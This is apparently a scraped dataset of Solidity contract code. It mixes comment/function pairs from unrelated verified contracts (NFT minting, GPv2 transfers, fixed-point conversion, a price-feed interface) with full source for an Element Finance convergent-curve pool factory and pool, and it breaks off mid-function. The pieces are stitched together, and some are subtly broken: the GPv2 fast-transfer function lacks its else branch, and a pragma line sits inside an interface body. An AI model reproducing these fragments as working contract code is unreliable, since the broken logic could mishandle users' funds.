require(numDogs <= MAX_DOG_ADOPTION, "Cannot adopt more than fifty dogs at once");
uint balance = bayc.balanceOf(msg.sender);
require(balance > 0, "Must hold at least one Ape to mint a Dog");
require(balance >= startingIndex + numDogs, "Must hold at least as many Apes as the number of Dogs you intend to mint");
for(uint i = 0; i < balance && i < numDogs && i < MAX_DOG_ADOPTION; i++) {
require(totalSupply() < maxDogs, "Cannot exceed max supply of Dogs.");
uint tokenId = bayc.tokenOfOwnerByIndex(msg.sender, i + startingIndex);
if (!_exists(tokenId)) {
_safeMint(msg.sender, tokenId);
}
}
trySetStartingIndexBlock();
}
| 5,708,474 |
./full_match/4/0xf6538Fc05A7F29DCEE57aBa3f3b1F229E684846a/sources/src/contracts/libraries/GPv2Transfer.sol | Execute the specified transfer from the specified account to a recipient. The recipient will either receive internal Vault balances or ERC20 token balances depending on whether the account is using internal balances or not. This method is used for transferring fees to the settlement contract when settling a single order directly with Balancer. Note that this method is subtly different from `transferFromAccounts` with a single transfer with respect to how it deals with internal balances. Specifically, this method will perform an internal balance transfer to the settlement contract instead of a withdrawal to the external balance of the settlement contract for trades that specify trading with internal balances. This is done as a gas optimization in the single order "fast-path". vault The Balancer vault to use. transfer The transfer to perform specifying the sender account. recipient The recipient for the transfer. | function fastTransferFromAccount(
IVault vault,
Data calldata transfer,
address recipient
) internal {
require(
address(transfer.token) != BUY_ETH_ADDRESS,
"GPv2: cannot transfer native ETH"
);
if (transfer.balance == GPv2Order.BALANCE_ERC20) {
transfer.token.safeTransferFrom(
transfer.account,
recipient,
transfer.amount
);
IVault.UserBalanceOp[]
memory balanceOps = new IVault.UserBalanceOp[](1);
IVault.UserBalanceOp memory balanceOp = balanceOps[0];
balanceOp.kind = transfer.balance == GPv2Order.BALANCE_EXTERNAL
? IVault.UserBalanceOpKind.TRANSFER_EXTERNAL
: IVault.UserBalanceOpKind.TRANSFER_INTERNAL;
balanceOp.asset = transfer.token;
balanceOp.amount = transfer.amount;
balanceOp.sender = transfer.account;
balanceOp.recipient = payable(recipient);
vault.manageUserBalance(balanceOps);
}
}
| 13,335,651 |
./full_match/43114/0x096F07be24Fb85528bf67f2790a3B72F764D4540/sources/artifacts/MasterChef.sol | Converts an int256 which is already in some fixed point representation to a different fixed precision representation. Both the origin and destination precisions must be 38 or less digits. Origin values with a precision higher than the destination precision will be truncated accordingly. Test convertFixed(1,0,0) returns 1; Test convertFixed(1,1,1) returns 1; Test convertFixed(1,1,0) returns 0; Test convertFixed(1,0,1) returns 10; Test convertFixed(10,1,0) returns 1; Test convertFixed(10,0,1) returns 100; Test convertFixed(100,1,0) returns 10; Test convertFixed(100,0,1) returns 1000; Test convertFixed(1000,2,0) returns 10; Test convertFixed(1000,0,2) returns 100000; Test convertFixed(1000,2,1) returns 100; Test convertFixed(1000,1,2) returns 10000; Test convertFixed(maxInt256,1,0) returns maxInt256/10; Test convertFixed(maxInt256,0,1) throws Test convertFixed(maxInt256,38,0) returns maxInt256/(1038); Test convertFixed(1,0,38) returns 1038; Test convertFixed(maxInt256,39,0) throws Test convertFixed(1,0,39) throws/ Cast uint8 -> uint128 is safe Exponentiation is safe: _originDigits and _destinationDigits limited to 38 or less decimalDifference = abs(_destinationDigits - _originDigits) decimalDifference < 38 1038 < 2128-1 | function convertFixed(int256 x, uint8 _originDigits, uint8 _destinationDigits)
internal
pure
returns (int256)
{
assert(_originDigits <= 38 && _destinationDigits <= 38);
uint8 decimalDifference;
if ( _originDigits > _destinationDigits ){
decimalDifference = _originDigits - _destinationDigits;
return x/(uint128(10)**uint128(decimalDifference));
}
else if ( _originDigits < _destinationDigits ){
decimalDifference = _destinationDigits - _originDigits;
assert(x <= maxInt256()/uint128(10)**uint128(decimalDifference));
assert(x >= minInt256()/uint128(10)**uint128(decimalDifference));
return x*(uint128(10)**uint128(decimalDifference));
}
}
| 4,572,067 |
./full_match/42/0xf55061f100c0E0Cf7D445A3Cad85a97657c0423C/sources/contracts/FundMe.sol | getRoundData and latestRoundData should both raise "No data present" if they do not have data to report, instead of returning unset values which could be misinterpreted as actual reported values. | interface AggregatorV3Interface {
function decimals()
external
view
returns (
uint8
);
function description()
external
view
returns (
string memory
);
function version()
external
view
returns (
uint256
);
function getRoundData(
uint80 _roundId
)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
pragma solidity >=0.6.6 <0.9.9;
}
| 16,266,970 |
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.0;
import "../balancer-core-v2/pools/factories/BasePoolFactory.sol";
import "../libraries/Authorizable.sol";
import "../ConvergentCurvePool.sol";
/// @author Element Finance
/// @title Convergent Pool Factory
contract ConvergentPoolFactory is BasePoolFactory, Authorizable {
// This contract deploys convergent pools
// The 18 point encoded percent fee paid to governance by the pool
// Defaults to 0 and must be enabled by governance
uint256 public percentFeeGov;
address public governance;
/// @notice This event tracks pool creations from this factory
/// @param pool the address of the pool
/// @param bondToken The token of the bond token in this pool
event CCPoolCreated(address indexed pool, address indexed bondToken);
/// @notice This function constructs the pool
/// @param _vault The balancer v2 vault
/// @param _governance The governance address
constructor(IVault _vault, address _governance)
BasePoolFactory(_vault)
Authorizable()
{
// Sets the governance address as owner and authorized
_authorize(_governance);
setOwner(_governance);
governance = _governance;
}
/// @notice Deploys a new `ConvergentPool`.
/// @param _underlying The asset which is converged to ie 'base'
/// @param _bond The asset which converges to the underlying
/// @param _expiration The time at which convergence finishes
/// @param _unitSeconds The unit seconds multiplier for time
/// @param _percentFee The fee percent of each trades implied yield paid to gov.
/// @param _name The name of the balancer v2 lp token for this pool
/// @param _symbol The symbol of the balancer v2 lp token for this pool
/// @return The new pool address
function create(
address _underlying,
address _bond,
uint256 _expiration,
uint256 _unitSeconds,
uint256 _percentFee,
string memory _name,
string memory _symbol
) external returns (address) {
address pool = address(
new ConvergentCurvePool(
IERC20(_underlying),
IERC20(_bond),
_expiration,
_unitSeconds,
getVault(),
_percentFee,
percentFeeGov,
governance,
_name,
_symbol
)
);
// Register the pool with the vault
_register(pool);
// Emit a creation event
emit CCPoolCreated(pool, _bond);
return pool;
}
/// @notice Allows governance to set the new percent fee for governance
/// @param newFee The new percentage fee
function setGovFee(uint256 newFee) external onlyAuthorized() {
require(newFee < 3e17, "New fee higher than 30%");
percentFeeGov = newFee;
}
/// @notice Allows the owner to change the governance minting address
/// @param newGov The new address to receive rewards in pools
function setGov(address newGov) external onlyOwner() {
governance = newGov;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../../vault/interfaces/IVault.sol";
import "../../vault/interfaces/IBasePool.sol";
/**
* @dev Base contract for Pool factories.
*
* Pools are deployed from factories to allow third parties to reason about them. Unknown Pools may have arbitrary
* logic: being able to assert that a Pool's behavior follows certain rules (those imposed by the contracts created by
* the factory) is very powerful.
*/
abstract contract BasePoolFactory {
IVault private immutable _vault;
mapping(address => bool) private _isPoolFromFactory;
event PoolCreated(address indexed pool);
constructor(IVault vault) {
_vault = vault;
}
/**
* @dev Returns the Vault's address.
*/
function getVault() public view returns (IVault) {
return _vault;
}
/**
* @dev Returns true if `pool` was created by this factory.
*/
function isPoolFromFactory(address pool) external view returns (bool) {
return _isPoolFromFactory[pool];
}
/**
* @dev Registers a new created pool.
*
* Emits a `PoolCreated` event.
*/
function _register(address pool) internal {
_isPoolFromFactory[pool] = true;
emit PoolCreated(pool);
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity >=0.7.0;
contract Authorizable {
// This contract allows a flexible authorization scheme
// The owner who can change authorization status
address public owner;
// A mapping from an address to its authorization status
mapping(address => bool) public authorized;
/// @dev We set the deployer to the owner
constructor() {
owner = msg.sender;
}
/// @dev This modifier checks if the msg.sender is the owner
modifier onlyOwner() {
require(msg.sender == owner, "Sender not owner");
_;
}
/// @dev This modifier checks if an address is authorized
modifier onlyAuthorized() {
require(isAuthorized(msg.sender), "Sender not Authorized");
_;
}
/// @dev Returns true if an address is authorized
/// @param who the address to check
/// @return true if authorized false if not
function isAuthorized(address who) public view returns (bool) {
return authorized[who];
}
/// @dev Privileged function authorize an address
/// @param who the address to authorize
function authorize(address who) external onlyOwner() {
_authorize(who);
}
/// @dev Privileged function to de authorize an address
/// @param who The address to remove authorization from
function deauthorize(address who) external onlyOwner() {
authorized[who] = false;
}
/// @dev Function to change owner
/// @param who The new owner address
function setOwner(address who) public onlyOwner() {
owner = who;
}
/// @dev Inheritable function which authorizes someone
/// @param who the address to authorize
function _authorize(address who) internal {
authorized[who] = true;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./interfaces/IERC20Decimals.sol";
import "./balancer-core-v2/lib/math/LogExpMath.sol";
import "./balancer-core-v2/lib/math/FixedPoint.sol";
import "./balancer-core-v2/vault/interfaces/IMinimalSwapInfoPool.sol";
import "./balancer-core-v2/vault/interfaces/IVault.sol";
import "./balancer-core-v2/pools/BalancerPoolToken.sol";
contract ConvergentCurvePool is IMinimalSwapInfoPool, BalancerPoolToken {
using LogExpMath for uint256;
using FixedPoint for uint256;
// The token we expect to stay constant in value
IERC20 public immutable underlying;
uint8 public immutable underlyingDecimals;
// The token we expect to appreciate to match underlying
IERC20 public immutable bond;
uint8 public immutable bondDecimals;
// The expiration time
uint256 public immutable expiration;
// The number of seconds in our timescale
uint256 public immutable unitSeconds;
// The Balancer pool data
// Note we change style to match Balancer's custom getter
IVault private immutable _vault;
bytes32 private immutable _poolId;
// The fees recorded during swaps. These will be 18 point not token decimal encoded
uint128 public feesUnderlying;
uint128 public feesBond;
// Stored records of governance tokens
address public immutable governance;
// The percent of each trade's implied yield to collect as LP fee
uint256 public immutable percentFee;
// The percent of LP fees that is payed to governance
uint256 public immutable percentFeeGov;
// Store constant token indexes for ascending sorted order
// In this case despite these being internal it's cleaner
// to ignore linting rules that require _
/* solhint-disable private-vars-leading-underscore */
uint256 internal immutable baseIndex;
uint256 internal immutable bondIndex;
/* solhint-enable private-vars-leading-underscore */
// The max percent fee for governance, immutable after compilation
uint256 public constant FEE_BOUND = 3e17;
/// @notice This event allows the frontend to track the fees
/// @param collectedBase the base asset tokens fees collected in this txn
/// @param collectedBond the bond asset tokens fees collected in this txn
/// @param remainingBase the amount of base asset fees have been charged but not collected
/// @param remainingBond the amount of bond asset fees have been charged but not collected
/// @dev All values emitted by this event are 18 point fixed not token native decimals
event FeeCollection(
uint256 collectedBase,
uint256 collectedBond,
uint256 remainingBase,
uint256 remainingBond
);
/// @dev We need need to set the immutables on contract creation
/// Note - We expect both 'bond' and 'underlying' to have 'decimals()'
/// @param _underlying The asset which the second asset should appreciate to match
/// @param _bond The asset which should be appreciating
/// @param _expiration The time in unix seconds when the bond asset should equal the underlying asset
/// @param _unitSeconds The number of seconds in a unit of time, for example 1 year in seconds
/// @param vault The balancer vault
/// @param _percentFee The percent each trade's yield to collect as fees
/// @param _percentFeeGov The percent of collected that go to governance
/// @param _governance The address which gets minted reward lp
/// @param name The balancer pool token name
/// @param symbol The balancer pool token symbol
constructor(
IERC20 _underlying,
IERC20 _bond,
uint256 _expiration,
uint256 _unitSeconds,
IVault vault,
uint256 _percentFee,
uint256 _percentFeeGov,
address _governance,
string memory name,
string memory symbol
) BalancerPoolToken(name, symbol) {
// Sanity Check
require(_expiration - block.timestamp < _unitSeconds);
// Initialization on the vault
bytes32 poolId = vault.registerPool(
IVault.PoolSpecialization.TWO_TOKEN
);
IERC20[] memory tokens = new IERC20[](2);
if (_underlying < _bond) {
tokens[0] = _underlying;
tokens[1] = _bond;
} else {
tokens[0] = _bond;
tokens[1] = _underlying;
}
// Pass in zero addresses for Asset Managers
// Note - functions below assume this token order
vault.registerTokens(poolId, tokens, new address[](2));
// Set immutable state variables
_vault = vault;
_poolId = poolId;
percentFee = _percentFee;
// We check that the gov percent fee is less than bound
require(_percentFeeGov < FEE_BOUND, "Fee too high");
percentFeeGov = _percentFeeGov;
underlying = _underlying;
underlyingDecimals = IERC20Decimals(address(_underlying)).decimals();
bond = _bond;
bondDecimals = IERC20Decimals(address(_bond)).decimals();
expiration = _expiration;
unitSeconds = _unitSeconds;
governance = _governance;
// Calculate the preset indexes for ordering
bool underlyingFirst = _underlying < _bond;
baseIndex = underlyingFirst ? 0 : 1;
bondIndex = underlyingFirst ? 1 : 0;
}
// Balancer Interface required Getters
/// @dev Returns the vault for this pool
/// @return The vault for this pool
function getVault() external view returns (IVault) {
return _vault;
}
/// @dev Returns the poolId for this pool
/// @return The poolId for this pool
function getPoolId() external view returns (bytes32) {
return _poolId;
}
// Trade Functionality
/// @dev Called by the Vault on swaps to get a price quote
/// @param swapRequest The request which contains the details of the swap
/// @param currentBalanceTokenIn The input token balance
/// @param currentBalanceTokenOut The output token balance
/// @return the amount of the output or input token amount of for swap
function onSwap(
SwapRequest memory swapRequest,
uint256 currentBalanceTokenIn,
uint256 currentBalanceTokenOut
) public override returns (uint256) {
// Check that the sender is pool, we change state so must make
// this check.
require(msg.sender == address(_vault), "Non Vault caller");
// Tokens amounts are passed to us in decimal form of the tokens
// But we want theme in 18 point
uint256 amount;
bool isOutputSwap = swapRequest.kind == IVault.SwapKind.GIVEN_IN;
if (isOutputSwap) {
amount = _tokenToFixed(swapRequest.amount, swapRequest.tokenIn);
} else {
amount = _tokenToFixed(swapRequest.amount, swapRequest.tokenOut);
}
currentBalanceTokenIn = _tokenToFixed(
currentBalanceTokenIn,
swapRequest.tokenIn
);
currentBalanceTokenOut = _tokenToFixed(
currentBalanceTokenOut,
swapRequest.tokenOut
);
// We apply the trick which is used in the paper and
// double count the reserves because the curve provisions liquidity
// for prices above one underlying per bond, which we don't want to be accessible
(uint256 tokenInReserve, uint256 tokenOutReserve) = _adjustedReserve(
currentBalanceTokenIn,
swapRequest.tokenIn,
currentBalanceTokenOut,
swapRequest.tokenOut
);
// We switch on if this is an input or output case
if (isOutputSwap) {
// We get quote
uint256 quote = solveTradeInvariant(
amount,
tokenInReserve,
tokenOutReserve,
isOutputSwap
);
// We assign the trade fee
quote = _assignTradeFee(amount, quote, swapRequest.tokenOut, false);
// We return the quote
return _fixedToToken(quote, swapRequest.tokenOut);
} else {
// We get the quote
uint256 quote = solveTradeInvariant(
amount,
tokenOutReserve,
tokenInReserve,
isOutputSwap
);
// We assign the trade fee
quote = _assignTradeFee(quote, amount, swapRequest.tokenOut, true);
// We return the output
return _fixedToToken(quote, swapRequest.tokenIn);
}
}
/// @dev Hook for joining the pool that must be called from the vault.
/// It mints a proportional number of tokens compared to current LP pool,
/// based on the maximum input the user indicates.
/// @param poolId The balancer pool id, checked to ensure non erroneous vault call
// @param sender Unused by this pool but in interface
/// @param recipient The address which will receive lp tokens.
/// @param currentBalances The current pool balances, sorted by address low to high. length 2
// @param latestBlockNumberUsed last block number unused in this pool
/// @param protocolSwapFee The percent of pool fees to be paid to the Balancer Protocol
/// @param userData Abi encoded fixed length 2 array containing max inputs also sorted by
/// address low to high
/// @return amountsIn The actual amounts of token the vault should move to this pool
/// @return dueProtocolFeeAmounts The amounts of each token to pay as protocol fees
function onJoinPool(
bytes32 poolId,
address, // sender
address recipient,
uint256[] memory currentBalances,
uint256,
uint256 protocolSwapFee,
bytes calldata userData
)
external
override
returns (
uint256[] memory amountsIn,
uint256[] memory dueProtocolFeeAmounts
)
{
// Default checks
require(msg.sender == address(_vault), "Non Vault caller");
require(poolId == _poolId, "Wrong pool id");
uint256[] memory maxAmountsIn = abi.decode(userData, (uint256[]));
require(
currentBalances.length == 2 && maxAmountsIn.length == 2,
"Invalid format"
);
// We must normalize the inputs to 18 point
_normalizeSortedArray(currentBalances);
_normalizeSortedArray(maxAmountsIn);
// Mint LP to the governance address.
// The {} zoning here helps solidity figure out the stack
{
(
uint256 localFeeUnderlying,
uint256 localFeeBond
) = _mintGovernanceLP(currentBalances);
dueProtocolFeeAmounts = new uint256[](2);
dueProtocolFeeAmounts[baseIndex] = localFeeUnderlying.mulDown(
protocolSwapFee
);
dueProtocolFeeAmounts[bondIndex] = localFeeBond.mulDown(
protocolSwapFee
);
}
// Mint for the user
amountsIn = _mintLP(
maxAmountsIn[baseIndex],
maxAmountsIn[bondIndex],
currentBalances,
recipient
);
// We now have make the outputs have the correct decimals
_denormalizeSortedArray(amountsIn);
_denormalizeSortedArray(dueProtocolFeeAmounts);
}
/// @dev Hook for leaving the pool that must be called from the vault.
/// It burns a proportional number of tokens compared to current LP pool,
/// based on the minium output the user wants.
/// @param poolId The balancer pool id, checked to ensure non erroneous vault call
// @param sender Unused by this pool but in interface
/// @param recipient The address which will receive the withdraw tokens.
/// @param currentBalances The current pool balances, sorted by address low to high. length 2
// @param latestBlockNumberUsed last block number unused in this pool
/// @param protocolSwapFee The percent of pool fees to be paid to the Balancer Protocol
/// @param userData Abi encoded fixed length 2 array containing min outputs also sorted by
/// address low to high
/// @return amountsOut The number of each token to send to the caller
/// @return dueProtocolFeeAmounts The amounts of each token to pay as protocol fees
function onExitPool(
bytes32 poolId,
address,
address recipient,
uint256[] memory currentBalances,
uint256,
uint256 protocolSwapFee,
bytes calldata userData
)
external
override
returns (
uint256[] memory amountsOut,
uint256[] memory dueProtocolFeeAmounts
)
{
// Default checks
require(msg.sender == address(_vault), "Non Vault caller");
require(poolId == _poolId, "Wrong pool id");
uint256[] memory minAmountsOut = abi.decode(userData, (uint256[]));
require(
currentBalances.length == 2 && minAmountsOut.length == 2,
"Invalid format"
);
// We have to convert to 18 decimals
_normalizeSortedArray(currentBalances);
_normalizeSortedArray(minAmountsOut);
// Mint LP for the governance address.
// {} zones to help solidity figure out the stack
{
(
uint256 localFeeUnderlying,
uint256 localFeeBond
) = _mintGovernanceLP(currentBalances);
// Calculate the amount of fees for balancer to collect
dueProtocolFeeAmounts = new uint256[](2);
dueProtocolFeeAmounts[baseIndex] = localFeeUnderlying.mulDown(
protocolSwapFee
);
dueProtocolFeeAmounts[bondIndex] = localFeeBond.mulDown(
protocolSwapFee
);
}
amountsOut = _burnLP(
minAmountsOut[baseIndex],
minAmountsOut[bondIndex],
currentBalances,
recipient
);
// We need to convert the balancer outputs to token decimals instead of 18
_denormalizeSortedArray(amountsOut);
_denormalizeSortedArray(dueProtocolFeeAmounts);
return (amountsOut, dueProtocolFeeAmounts);
}
/// @dev Returns the balances so that they'll be in the order [underlying, bond].
/// @param currentBalances balances sorted low to high of address value.
function _getSortedBalances(uint256[] memory currentBalances)
internal
view
returns (uint256 underlyingBalance, uint256 bondBalance)
{
return (currentBalances[baseIndex], currentBalances[bondIndex]);
}
/// @dev Turns an array of token amounts into an array of 18 point amounts
/// @param data The data to normalize
function _normalizeSortedArray(uint256[] memory data) internal view {
data[baseIndex] = _normalize(data[baseIndex], underlyingDecimals, 18);
data[bondIndex] = _normalize(data[bondIndex], bondDecimals, 18);
}
/// @dev Turns an array of 18 point amounts into token amounts
/// @param data The data to turn in to token decimals
function _denormalizeSortedArray(uint256[] memory data) internal view {
data[baseIndex] = _normalize(data[baseIndex], 18, underlyingDecimals);
data[bondIndex] = _normalize(data[bondIndex], 18, bondDecimals);
}
// Math libraries and internal routing
/// @dev Calculates how many tokens should be outputted given an input plus reserve variables
/// Assumes all inputs are in 18 point fixed compatible with the balancer fixed math lib.
/// Since solving for an input is almost exactly the same as an output you can indicate
/// if this is an input or output calculation in the call.
/// @param amountX The amount of token x sent in normalized to have 18 decimals
/// @param reserveX The amount of the token x currently held by the pool normalized to 18 decimals
/// @param reserveY The amount of the token y currently held by the pool normalized to 18 decimals
/// @param out Is true if the pool will receive amountX and false if it is expected to produce it.
/// @return Either if 'out' is true the amount of Y token to send to the user or
/// if 'out' is false the amount of Y Token to take from the user
function solveTradeInvariant(
uint256 amountX,
uint256 reserveX,
uint256 reserveY,
bool out
) public view returns (uint256) {
// Gets 1 - t
uint256 a = _getYieldExponent();
// calculate x before ^ a
uint256 xBeforePowA = LogExpMath.pow(reserveX, a);
// calculate y before ^ a
uint256 yBeforePowA = LogExpMath.pow(reserveY, a);
// calculate x after ^ a
uint256 xAfterPowA = out
? LogExpMath.pow(reserveX + amountX, a)
: LogExpMath.pow(reserveX.sub(amountX), a);
// Calculate y_after = ( x_before ^a + y_ before ^a - x_after^a)^(1/a)
// Will revert with underflow here if the liquidity isn't enough for the trade
uint256 yAfter = (xBeforePowA + yBeforePowA).sub(xAfterPowA);
// Note that this call is to FixedPoint Div so works as intended
yAfter = LogExpMath.pow(yAfter, uint256(FixedPoint.ONE).divDown(a));
// The amount of Y token to send is (reserveY_before - reserveY_after)
return out ? reserveY.sub(yAfter) : yAfter.sub(reserveY);
}
/// @dev Adds a fee equal to to 'feePercent' of remaining interest to each trade
/// This function accepts both input and output trades, amd expects that all
/// inputs are in fixed 18 point
/// @param amountIn The trade's amountIn in fixed 18 point
/// @param amountOut The trade's amountOut in fixed 18 point
/// @param outputToken The output token
/// @param isInputTrade True if the trader is requesting a quote for the amount of input
/// they need to provide to get 'amountOut' false otherwise
/// @return The updated output quote
// Note - The safe math in this function implicitly prevents the price of 'bond' in underlying
// from being higher than 1.
function _assignTradeFee(
uint256 amountIn,
uint256 amountOut,
IERC20 outputToken,
bool isInputTrade
) internal returns (uint256) {
// The math splits on if this is input or output
if (isInputTrade) {
// Then it splits again on which token is the bond
if (outputToken == bond) {
// If the output is bond the implied yield is out - in
uint256 impliedYieldFee = percentFee.mulDown(
amountOut.sub(amountIn)
);
// we record that fee collected from the underlying
feesUnderlying += uint128(impliedYieldFee);
// and return the adjusted input quote
return amountIn.add(impliedYieldFee);
} else {
// If the input token is bond the implied yield is in - out
uint256 impliedYieldFee = percentFee.mulDown(
amountIn.sub(amountOut)
);
// we record that collected fee from the input bond
feesBond += uint128(impliedYieldFee);
// and return the updated input quote
return amountIn.add(impliedYieldFee);
}
} else {
if (outputToken == bond) {
// If the output is bond the implied yield is out - in
uint256 impliedYieldFee = percentFee.mulDown(
amountOut.sub(amountIn)
);
// we record that fee collected from the bond output
feesBond += uint128(impliedYieldFee);
// and then return the updated output
return amountOut.sub(impliedYieldFee);
} else {
// If the output is underlying the implied yield is in - out
uint256 impliedYieldFee = percentFee.mulDown(
amountIn.sub(amountOut)
);
// we record the collected underlying fee
feesUnderlying += uint128(impliedYieldFee);
// and then return the updated output quote
return amountOut.sub(impliedYieldFee);
}
}
}
/// @dev Mints the maximum possible LP given a set of max inputs
/// @param inputUnderlying The max underlying to deposit
/// @param inputBond The max bond to deposit
/// @param currentBalances The current pool balances, sorted by address low to high. length 2
/// @param recipient The person who receives the lp funds
/// @return amountsIn The actual amounts of token deposited in token sorted order
function _mintLP(
uint256 inputUnderlying,
uint256 inputBond,
uint256[] memory currentBalances,
address recipient
) internal returns (uint256[] memory amountsIn) {
// Initialize the memory array with length
amountsIn = new uint256[](2);
// Passing in in memory array helps stack but we use locals for better names
(uint256 reserveUnderlying, uint256 reserveBond) = _getSortedBalances(
currentBalances
);
uint256 localTotalSupply = totalSupply();
// Check if the pool is initialized
if (localTotalSupply == 0) {
// When uninitialized we mint exactly the underlying input
// in LP tokens
_mintPoolTokens(recipient, inputUnderlying);
// Return the right data
amountsIn[baseIndex] = inputUnderlying;
amountsIn[bondIndex] = 0;
return (amountsIn);
}
// Get the reserve ratio, the say how many underlying per bond in the reserve
// (input underlying / reserve underlying) is the percent increase caused by deposit
uint256 underlyingPerBond = reserveUnderlying.divDown(reserveBond);
// Use the underlying per bond to get the needed number of input underlying
uint256 neededUnderlying = underlyingPerBond.mulDown(inputBond);
// If the user can't provide enough underlying
if (neededUnderlying > inputUnderlying) {
// The increase in total supply is the input underlying
// as a ratio to reserve
uint256 mintAmount = (inputUnderlying.mulDown(localTotalSupply))
.divDown(reserveUnderlying);
// We mint a new amount of as the the percent increase given
// by the ratio of the input underlying to the reserve underlying
_mintPoolTokens(recipient, mintAmount);
// In this case we use the whole input of underlying
// and consume (inputUnderlying/underlyingPerBond) bonds
amountsIn[baseIndex] = inputUnderlying;
amountsIn[bondIndex] = inputUnderlying.divDown(underlyingPerBond);
} else {
// We calculate the percent increase in the reserves from contributing
// all of the bond
uint256 mintAmount = (neededUnderlying.mulDown(localTotalSupply))
.divDown(reserveUnderlying);
// We then mint an amount of pool token which corresponds to that increase
_mintPoolTokens(recipient, mintAmount);
// The indicate we consumed the input bond and (inputBond*underlyingPerBond)
amountsIn[baseIndex] = neededUnderlying;
amountsIn[bondIndex] = inputBond;
}
}
/// @dev Burns at least enough LP tokens from the sender to produce
/// as set of minium outputs.
/// @param minOutputUnderlying The minimum output in underlying
/// @param minOutputBond The minimum output in the bond
/// @param currentBalances The current pool balances, sorted by address low to high. length 2
/// @param source The address to burn from.
/// @return amountsReleased in address sorted order
function _burnLP(
uint256 minOutputUnderlying,
uint256 minOutputBond,
uint256[] memory currentBalances,
address source
) internal returns (uint256[] memory amountsReleased) {
// Initialize the memory array with length
amountsReleased = new uint256[](2);
// We take in sorted token arrays to help the stack but
// use local names to improve readability
(uint256 reserveUnderlying, uint256 reserveBond) = _getSortedBalances(
currentBalances
);
uint256 localTotalSupply = totalSupply();
// Calculate the ratio of the minOutputUnderlying to reserve
uint256 underlyingPerBond = reserveUnderlying.divDown(reserveBond);
// If the ratio won't produce enough bond
if (minOutputUnderlying > minOutputBond.mulDown(underlyingPerBond)) {
// In this case we burn enough tokens to output 'minOutputUnderlying'
// which will be the total supply times the percent of the underlying
// reserve which this amount of underlying is.
uint256 burned = (minOutputUnderlying.mulDown(localTotalSupply))
.divDown(reserveUnderlying);
_burnPoolTokens(source, burned);
// We return that we released 'minOutputUnderlying' and the number of bonds that
// preserves the reserve ratio
amountsReleased[baseIndex] = minOutputUnderlying;
amountsReleased[bondIndex] = minOutputUnderlying.divDown(
underlyingPerBond
);
} else {
// Then the amount burned is the ratio of the minOutputBond
// to the reserve of bond times the total supply
uint256 burned = (minOutputBond.mulDown(localTotalSupply)).divDown(
reserveBond
);
_burnPoolTokens(source, burned);
// We return that we released all of the minOutputBond
// and the number of underlying which preserves the reserve ratio
amountsReleased[baseIndex] = minOutputBond.mulDown(
underlyingPerBond
);
amountsReleased[bondIndex] = minOutputBond;
}
}
/// @dev Mints LP tokens from a percentage of the stored fees and then updates them
/// @param currentBalances The current pool balances, sorted by address low to high. length 2
/// expects the inputs to be 18 point fixed
/// @return Returns the fee amounts as (feeUnderlying, feeBond) to avoid other sloads
function _mintGovernanceLP(uint256[] memory currentBalances)
internal
returns (uint256, uint256)
{
// Load and cast the stored fees
// Note - Because of sizes should only be one sload
uint256 localFeeUnderlying = uint256(feesUnderlying);
uint256 localFeeBond = uint256(feesBond);
if (percentFeeGov == 0) {
// We reset this state because it is expected that this function
// resets the amount to match what's consumed and in the zero fee case
// that's everything.
(feesUnderlying, feesBond) = (0, 0);
// Emit a fee tracking event
emit FeeCollection(localFeeUnderlying, localFeeBond, 0, 0);
// Return the used fees
return (localFeeUnderlying, localFeeBond);
}
// Calculate the gov fee which is the assigned fees times the
// percent
uint256 govFeeUnderlying = localFeeUnderlying.mulDown(percentFeeGov);
uint256 govFeeBond = localFeeBond.mulDown(percentFeeGov);
// Mint the actual LP for gov address
uint256[] memory consumed = _mintLP(
govFeeUnderlying,
govFeeBond,
currentBalances,
governance
);
// We calculate the actual fees used
uint256 usedFeeUnderlying = (consumed[baseIndex]).divDown(
percentFeeGov
);
uint256 usedFeeBond = (consumed[bondIndex]).divDown(percentFeeGov);
// Calculate the remaining fees, note due to rounding errors they are likely to
// be true that usedFees + remainingFees > originalFees by a very small rounding error
// this is safe as with a bounded gov fee it never consumes LP funds.
uint256 remainingUnderlying = govFeeUnderlying
.sub(consumed[baseIndex])
.divDown(percentFeeGov);
uint256 remainingBond = govFeeBond.sub(consumed[bondIndex]).divDown(
percentFeeGov
);
// Emit fee tracking event
emit FeeCollection(
usedFeeUnderlying,
usedFeeBond,
remainingUnderlying,
remainingBond
);
// Store the remaining fees
feesUnderlying = uint128(remainingUnderlying);
feesBond = uint128(remainingBond);
// We return the fees which were removed from storage
return (usedFeeUnderlying, usedFeeBond);
}
/// @dev Calculates 1 - t
/// @return Returns 1 - t, encoded as a fraction in 18 decimal fixed point
function _getYieldExponent() internal virtual view returns (uint256) {
// The fractional time
uint256 timeTillExpiry = block.timestamp < expiration
? expiration - block.timestamp
: 0;
timeTillExpiry *= 1e18;
// timeTillExpiry now contains the a fixed point of the years remaining
timeTillExpiry = timeTillExpiry.divDown(unitSeconds * 1e18);
uint256 result = uint256(FixedPoint.ONE).sub(timeTillExpiry);
// Sanity Check
require(result != 0);
// Return result
return result;
}
/// @dev Applies the reserve adjustment from the paper and returns the reserves
/// Note: The inputs should be in 18 point fixed to match the LP decimals
/// @param reserveTokenIn The reserve of the input token
/// @param tokenIn The address of the input token
/// @param reserveTokenOut The reserve of the output token
/// @return Returns (adjustedReserveIn, adjustedReserveOut)
function _adjustedReserve(
uint256 reserveTokenIn,
IERC20 tokenIn,
uint256 reserveTokenOut,
IERC20 tokenOut
) internal view returns (uint256, uint256) {
// We need to identify the bond asset and the underlying
// This check is slightly redundant in most cases but more secure
if (tokenIn == underlying && tokenOut == bond) {
